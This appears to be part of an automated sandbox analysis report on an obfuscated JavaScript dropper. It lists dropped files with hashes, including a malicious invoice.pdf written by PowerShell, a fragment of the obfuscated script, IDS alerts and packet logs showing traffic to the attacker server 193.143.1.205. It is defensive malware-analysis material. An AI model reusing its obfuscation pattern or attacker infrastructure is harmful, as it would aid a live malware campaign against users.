Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a235edde-c6eb-441b-aee6-6dbb7f450628.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d938d1f6-beb0-4f41-b8f1-00722ba3e85d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15763), with CRLF line terminators
Entropy (8bit):	4.9141097310818
TrID:
File name:	42173378525889.js
File size:	19'355 bytes
MD5:	362320673df6d476e7e3a79b0f7cda1a
SHA1:	15c397693e48231550c64e72b09e52bd9944ef37
SHA256:	f8cf3abab55c834adcffd69cc794d1cb155de4b6de08a3186116080b4a201e3d
SHA512:	cdd225ddc183ac51ef441a7c8ff493fb910c4dc49dad03788813655a3a472acb799aa4643a4a8fcc9be7ba3a53a074d490bc853bf188a7ff7d37f14b8a7ea48d
SSDEEP:	192:AeW2Jz5McY7Lqa44k4MBLvWnzFIFXCiTic37WZJplGJT8gWX+3dSGIhL1zgZcoiw:FOcY7LqTsB9DM9mebUoTokrWSYg
TLSH:	D292238F0EADCB2B92E154707ECB0AC53A7C12BCCDB204DD905EA89B8722B5553F55B4
File Content Preview:	function cbohvukwo(){wjwqlu=[1031,3079,5127,4103,2055,3072];var ffqzslsn=this[luwcd+lbmskq+nuoqxzaln+qadrhez+rijpeel+hwcjmcm+qulme+ragrkouh](this[qkaaxgw+qhqaxast+yotcpqerc+nuoqxzaln+hnhvwflxz+luwcd+ragrkouh][pfgvdw+nuoqxzaln+rijpeel+lbmskq+ragrkouh+rijpe

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:20:57.246923+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49705	193.143.1.205	80	TCP
2025-01-10T21:20:59.633681+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:20:56.472533941 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:56.477571964 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:56.477674961 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:56.481422901 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:56.487476110 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246848106 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246870995 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246882915 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246896982 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246907949 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246920109 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246922970 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.246931076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246941090 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246952057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246963978 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.246980906 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.247001886 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.289696932 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.289710045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.289761066 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.289769888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.289805889 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.289833069 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.368959904 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369189024 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369221926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369257927 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.369276047 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369311094 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369323969 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.369344950 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369379044 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369391918 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.369412899 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369446993 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369481087 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369493961 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.369515896 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369561911 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.369566917 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369601011 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369616032 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.369635105 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369668961 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369679928 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.369702101 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369735956 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369750023 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.369772911 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369827032 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369859934 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.369874954 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.369905949 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.376554966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.410496950 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.410547972 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.410617113 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.410619020 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.410651922 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.410665035 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.410689116 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.412429094 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.454389095 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.454435110 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.454520941 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.488212109 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488251925 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488289118 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488326073 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488327980 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.488358974 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488394022 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.488395929 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488442898 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.488600969 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488670111 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488703966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488722086 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.488758087 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488794088 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.488806963 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.489352942 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.489386082 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.489411116 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.489420891 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.489454031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.489466906 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.489489079 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.489521980 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.489556074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.489568949 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.489602089 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.490322113 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.490356922 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.490391016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.490415096 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.490436077 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.490469933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.490502119 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.490502119 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.490536928 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.490566969 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.491244078 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.491276979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.491311073 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.491316080 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.491364956 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.491370916 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.491401911 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.491441011 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.491477013 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.491488934 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.491523981 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.492127895 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.492162943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.492196083 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.492214918 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.497416019 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.497446060 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.497478962 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.497484922 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.497514963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.497528076 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.497548103 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.497585058 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.497595072 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.497615099 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.497678041 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.538486004 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.538502932 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.538516045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.538578987 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.540981054 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.540991068 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.541002035 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.541141987 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.541141987 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.541280985 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.574933052 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.574949026 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.574959993 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.574971914 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.575001001 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.575026989 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.575036049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.575041056 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.575082064 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.608772039 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.608784914 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.608795881 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.608870029 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.608916044 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.608935118 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.608948946 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.608958006 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.608969927 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.608982086 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.608988047 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.608995914 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609008074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609018087 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.609019995 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609047890 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.609066010 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.609838009 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609848976 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609862089 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609874010 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609885931 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609893084 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.609896898 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609911919 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609920979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.609931946 CET	49705	80	192.168.2.10	193.143.1.205
